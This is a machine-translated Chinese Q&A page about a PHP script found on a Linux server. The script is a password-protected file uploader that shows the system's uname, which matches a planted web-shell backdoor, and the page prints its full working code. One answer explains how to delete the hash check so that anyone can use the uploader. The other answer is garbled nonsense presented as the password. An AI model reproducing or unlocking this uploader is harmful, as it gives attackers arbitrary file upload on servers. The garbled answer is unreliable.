需要正确的密码才能登录php [暂停]

问题描述 投票:-3回答:2

我在Linux服务器上有一个PHP脚本,我可以在浏览器上显示它,这个脚本告诉我必须输入密码才能登录(上传脚本)。这是PHP代码:

<?php
session_start();

if ($_SESSION["adm"]) {
    echo '<b>Namesis<br><br>' . php_uname() . '<br></b>';
    echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
    echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
    if ($_POST['_upl'] == "Upload") {
        if (@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) {
            echo '<b>Upload Success !!!</b><br><br>';
        } else {
            echo '<b>Upload Fail !!!</b><br><br>';
        }
    }
}
if ($_POST["p"]) {
    $p = $_POST["p"];

    echo $pa = md5(sha1($p));

    if ($pa == "683ce9b1d91af441dec18dad25584421") {
        $_SESSION["adm"] = 1;
    }
}
?>
<form action="" method="post">
    <input type="text" name="p">
</form>
php passwords
2个回答
0
投票

如果您不知道密码,那么@ 04FS指出您无法反转哈希密码,因此您将不得不更改php文件。

删除if

 if ($pa == "683ce9b1d91af441dec18dad25584421") { <--
    $_SESSION["adm"] = 1;
 } 

只有

 $_SESSION["adm"] = 1;

但是我不推荐这个。这是非常糟糕的事情,但有些东西告诉我你在做什么已经很糟糕了.....


0
投票

这可能是你的密码

他喂他185,他给了他水面包

© www.soinside.com 2019 - 2024. All rights reserved.